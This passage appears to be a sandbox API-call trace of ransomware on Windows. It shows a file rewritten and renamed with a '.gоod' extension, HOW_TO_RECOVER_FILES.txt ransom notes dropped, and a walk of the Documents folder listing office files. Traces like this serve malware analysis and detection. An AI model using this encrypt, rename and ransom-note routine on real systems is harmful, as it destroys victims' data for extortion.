(lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.492] GetFileType (hFile=0x864) returned 0x1 [0232.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0232.492] GetFileType (hFile=0x864) returned 0x1 [0232.492] WriteFile (in: hFile=0x864, lpBuffer=0x3709a70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3709a70*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0232.492] CloseHandle (hObject=0x864) returned 1 [0232.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", lpFilePart=0x0) returned 0x37 [0232.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp.gоod", lpFilePart=0x0) returned 0x3c [0232.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0232.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf40a490, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x7e0507c0, ftLastAccessTime.dwHighDateTime=0x1d4c9a6, ftLastWriteTime.dwLowDateTime=0x86c8fce1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa052)) returned 1 [0232.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0232.493] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp.gоod")) returned 1 [0232.494] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0232.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0232.494] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0232.495] GetFileType (hFile=0x864) returned 0x1 [0232.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0232.495] GetFileType (hFile=0x864) returned 0x1 [0232.496] WriteFile (in: hFile=0x864, lpBuffer=0x3845d40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3845d40*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0232.497] CloseHandle (hObject=0x864) returned 1 [0232.497] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x30 [0232.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0232.497] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0232.497] GetFileType (hFile=0x864) returned 0x1 [0232.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0232.497] GetFileType (hFile=0x864) returned 0x1 [0232.498] WriteFile (in: hFile=0x864, lpBuffer=0x3849510*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3849510*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0232.499] CloseHandle (hObject=0x864) returned 1 [0232.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0232.499] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0232.499] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5a5b6a5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x5a5b6a5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0232.499] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5a5b6a5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x5a5b6a5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.500] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8e59d0, ftCreationTime.dwHighDateTime=0x1d54f3f, ftLastAccessTime.dwLowDateTime=0xcb1c3d10, ftLastAccessTime.dwHighDateTime=0x1d5c169, ftLastWriteTime.dwLowDateTime=0xcb1c3d10, ftLastWriteTime.dwHighDateTime=0x1d5c169, nFileSizeHigh=0x0, nFileSizeLow=0x16930, dwReserved0=0x0, dwReserved1=0x0, cFileName="-_vfjFV9lDa.docx", cAlternateFileName="-_VFJF~1.DOC")) returned 1 [0232.500] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c38bf60, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0xfe8707b0, ftLastAccessTime.dwHighDateTime=0x1d4cebd, ftLastWriteTime.dwLowDateTime=0xfe8707b0, ftLastWriteTime.dwHighDateTime=0x1d4cebd, nFileSizeHigh=0x0, nFileSizeLow=0x187d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0s-K6KCl_.doc", cAlternateFileName="0S-K6K~1.DOC")) returned 1 [0232.500] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d499b60, ftCreationTime.dwHighDateTime=0x1d4ca4d, ftLastAccessTime.dwLowDateTime=0xf9a24c00, ftLastAccessTime.dwHighDateTime=0x1d4d304, ftLastWriteTime.dwLowDateTime=0xf9a24c00, ftLastWriteTime.dwHighDateTime=0x1d4d304, nFileSizeHigh=0x0, nFileSizeLow=0x13ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="20weaz6sA.ots", cAlternateFileName="20WEAZ~1.OTS")) returned 1 [0232.500] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3528e490, ftCreationTime.dwHighDateTime=0x1d4d36f, ftLastAccessTime.dwLowDateTime=0x40663660, ftLastAccessTime.dwHighDateTime=0x1d4d0b7, ftLastWriteTime.dwLowDateTime=0x40663660, ftLastWriteTime.dwHighDateTime=0x1d4d0b7, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="4xMLA.pdf", cAlternateFileName="")) returned 1 [0232.500] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ceeab0, ftCreationTime.dwHighDateTime=0x1d4ca2d, ftLastAccessTime.dwLowDateTime=0xb18b6250, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0xb18b6250, ftLastWriteTime.dwHighDateTime=0x1d4cb6e, nFileSizeHigh=0x0, nFileSizeLow=0x17158, dwReserved0=0x0, dwReserved1=0x0, cFileName="5sK9P2CRAeD.ots", cAlternateFileName="5SK9P2~1.OTS")) returned 1 [0232.500] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20edde10, ftCreationTime.dwHighDateTime=0x1d54677, ftLastAccessTime.dwLowDateTime=0x677c5400, ftLastAccessTime.dwHighDateTime=0x1d56b4e, ftLastWriteTime.dwLowDateTime=0x677c5400, ftLastWriteTime.dwHighDateTime=0x1d56b4e, nFileSizeHigh=0x0, nFileSizeLow=0x7687, dwReserved0=0x0, dwReserved1=0x0, cFileName="auvuHHNza97v.pptx", cAlternateFileName="AUVUHH~1.PPT")) returned 1 [0232.500] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9507b0, ftCreationTime.dwHighDateTime=0x1d563c0, ftLastAccessTime.dwLowDateTime=0x551c2a0, ftLastAccessTime.dwHighDateTime=0x1d57cca, ftLastWriteTime.dwLowDateTime=0x551c2a0, ftLastWriteTime.dwHighDateTime=0x1d57cca, nFileSizeHigh=0x0, nFileSizeLow=0x100bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bgCEQ.pptx", cAlternateFileName="BGCEQ~1.PPT")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed8940, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0x784f660, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0x784f660, ftLastWriteTime.dwHighDateTime=0x1d4ceaf, nFileSizeHigh=0x0, nFileSizeLow=0x4fe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbVA6 2sO.odp", cAlternateFileName="DBVA62~1.ODP")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56c222d0, ftCreationTime.dwHighDateTime=0x1d4d5d9, ftLastAccessTime.dwLowDateTime=0x1a59b190, ftLastAccessTime.dwHighDateTime=0x1d4c6d0, ftLastWriteTime.dwLowDateTime=0x1a59b190, ftLastWriteTime.dwHighDateTime=0x1d4c6d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef1p127p", cAlternateFileName="")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cebc0, ftCreationTime.dwHighDateTime=0x1d55c22, ftLastAccessTime.dwLowDateTime=0xa7696d10, ftLastAccessTime.dwHighDateTime=0x1d55806, ftLastWriteTime.dwLowDateTime=0xa7696d10, ftLastWriteTime.dwHighDateTime=0x1d55806, nFileSizeHigh=0x0, nFileSizeLow=0x18a21, dwReserved0=0x0, dwReserved1=0x0, cFileName="F678Oadvi5.docx", cAlternateFileName="F678OA~1.DOC")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f12b0, ftCreationTime.dwHighDateTime=0x1d4ce18, ftLastAccessTime.dwLowDateTime=0x3a74dd90, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x3a74dd90, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0x0, dwReserved1=0x0, cFileName="F6z7jeB_KBEPlZFT.docx", cAlternateFileName="F6Z7JE~1.DOC")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9494480, ftCreationTime.dwHighDateTime=0x1d4ca2e, ftLastAccessTime.dwLowDateTime=0x6fd5bcb0, ftLastAccessTime.dwHighDateTime=0x1d4d48e, ftLastWriteTime.dwLowDateTime=0x6fd5bcb0, ftLastWriteTime.dwHighDateTime=0x1d4d48e, nFileSizeHigh=0x0, nFileSizeLow=0x26c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GsuP3Tb_tM5w.pdf", cAlternateFileName="GSUP3T~1.PDF")) returned 1 [0232.501] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5b6a5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x5a5b6a5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x5a5b6a5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0232.502] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda722f00, ftCreationTime.dwHighDateTime=0x1d574b0, ftLastAccessTime.dwLowDateTime=0xa64e2730, ftLastAccessTime.dwHighDateTime=0x1d56379, ftLastWriteTime.dwLowDateTime=0xa64e2730, ftLastWriteTime.dwHighDateTime=0x1d56379, nFileSizeHigh=0x0, nFileSizeLow=0xf641, dwReserved0=0x0, dwReserved1=0x0, cFileName="izlC.xlsx", cAlternateFileName="IZLC~1.XLS")) returned 1 [0232.502] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3658d60, ftCreationTime.dwHighDateTime=0x1d53f75, ftLastAccessTime.dwLowDateTime=0xa65714a0, ftLastAccessTime.dwHighDateTime=0x1d56c3c, ftLastWriteTime.dwLowDateTime=0xa65714a0, ftLastWriteTime.dwHighDateTime=0x1d56c3c, nFileSizeHigh=0x0, nFileSizeLow=0x95d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNeid.xlsx", cAlternateFileName="JNEID~1.XLS")) returned 1 [0232.502] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45469750, ftCreationTime.dwHighDateTime=0x1d5512d, ftLastAccessTime.dwLowDateTime=0x100403d0, ftLastAccessTime.dwHighDateTime=0x1d54880, ftLastWriteTime.dwLowDateTime=0x100403d0, ftLastWriteTime.dwHighDateTime=0x1d54880, nFileSizeHigh=0x0, nFileSizeLow=0xaf47, dwReserved0=0x0, dwReserved1=0x0, cFileName="k0pIB.xlsx", cAlternateFileName="K0PIB~1.XLS")) returned 1 [0232.502] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a888c00, ftCreationTime.dwHighDateTime=0x1d551b9, ftLastAccessTime.dwLowDateTime=0xe708dcf0, ftLastAccessTime.dwHighDateTime=0x1d54940, ftLastWriteTime.dwLowDateTime=0xe708dcf0, ftLastWriteTime.dwHighDateTime=0x1d54940, nFileSizeHigh=0x0, nFileSizeLow=0x1140b, dwReserved0=0x0, dwReserved1=0x0, cFileName="kNxusNg8DwPBu.xlsx", cAlternateFileName="KNXUSN~1.XLS")) returned 1 [0232.502] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0232.502] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0232.502] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0232.503] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0232.503] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf34de380, ftCreationTime.dwHighDateTime=0x1d5c347, ftLastAccessTime.dwLowDateTime=0x5ff7b2d0, ftLastAccessTime.dwHighDateTime=0x1d59fea, ftLastWriteTime.dwLowDateTime=0x5ff7b2d0, ftLastWriteTime.dwHighDateTime=0x1d59fea, nFileSizeHigh=0x0, nFileSizeLow=0xe375, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O-iIEH-JxmiDqnH6.docx", cAlternateFileName="O-IIEH~1.DOC")) returned 1 [0232.503] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0232.503] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fe1c70, ftCreationTime.dwHighDateTime=0x1d56505, ftLastAccessTime.dwLowDateTime=0x6bc38480, ftLastAccessTime.dwHighDateTime=0x1d59e9c, ftLastWriteTime.dwLowDateTime=0x6bc38480, ftLastWriteTime.dwHighDateTime=0x1d59e9c, nFileSizeHigh=0x0, nFileSizeLow=0xf215, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pm OYQI6jWL.pptx", cAlternateFileName="PMOYQI~1.PPT")) returned 1 [0232.503] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x491030f0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xf06563d0, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0xf06563d0, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SloU6Jo", cAlternateFileName="")) returned 1 [0232.503] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe80f780, ftCreationTime.dwHighDateTime=0x1d5951e, ftLastAccessTime.dwLowDateTime=0x59157970, ftLastAccessTime.dwHighDateTime=0x1d58e38, ftLastWriteTime.dwLowDateTime=0x59157970, ftLastWriteTime.dwHighDateTime=0x1d58e38, nFileSizeHigh=0x0, nFileSizeLow=0xc84c, dwReserved0=0x0, dwReserved1=0x0, cFileName="T4CKknaWyJ19EuCoS.pptx", cAlternateFileName="T4CKKN~1.PPT")) returned 1 [0232.504] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c641f40, ftCreationTime.dwHighDateTime=0x1d5bb4f, ftLastAccessTime.dwLowDateTime=0xd283be00, ftLastAccessTime.dwHighDateTime=0x1d566e9, ftLastWriteTime.dwLowDateTime=0xd283be00, ftLastWriteTime.dwHighDateTime=0x1d566e9, nFileSizeHigh=0x0, nFileSizeLow=0x759a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UVflxn.docx", cAlternateFileName="UVFLXN~1.DOC")) returned 1 [0232.504] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b458ed0, ftCreationTime.dwHighDateTime=0x1d5bbd0, ftLastAccessTime.dwLowDateTime=0xaa6579f0, ftLastAccessTime.dwHighDateTime=0x1d55ac2, ftLastWriteTime.dwLowDateTime=0xaa6579f0, ftLastWriteTime.dwHighDateTime=0x1d55ac2, nFileSizeHigh=0x0, nFileSizeLow=0x7ea9, dwReserved0=0x0, dwReserved1=0x0, cFileName="vqjN.pptx", cAlternateFileName="VQJN~1.PPT")) returned 1 [0232.504] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c63bb0, ftCreationTime.dwHighDateTime=0x1d5c161, ftLastAccessTime.dwLowDateTime=0x59f640b0, ftLastAccessTime.dwHighDateTime=0x1d570e5, ftLastWriteTime.dwLowDateTime=0x59f640b0, ftLastWriteTime.dwHighDateTime=0x1d570e5, nFileSizeHigh=0x0, nFileSizeLow=0x123f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="w-zRY2q5kxHj.docx", cAlternateFileName="W-ZRY2~1.DOC")) returned 1 [0232.504] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bce5b0, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x78658570, ftLastAccessTime.dwHighDateTime=0x1d4c838, ftLastWriteTime.dwLowDateTime=0x78658570, ftLastWriteTime.dwHighDateTime=0x1d4c838, nFileSizeHigh=0x0, nFileSizeLow=0xcdd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="X5tFE.docx", cAlternateFileName="X5TFE~1.DOC")) returned 1 [0232.504] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ce280, ftCreationTime.dwHighDateTime=0x1d54b03, ftLastAccessTime.dwLowDateTime=0x82b74880, ftLastAccessTime.dwHighDateTime=0x1d5b282, ftLastWriteTime.dwLowDateTime=0x82b74880, ftLastWriteTime.dwHighDateTime=0x1d5b282, nFileSizeHigh=0x0, 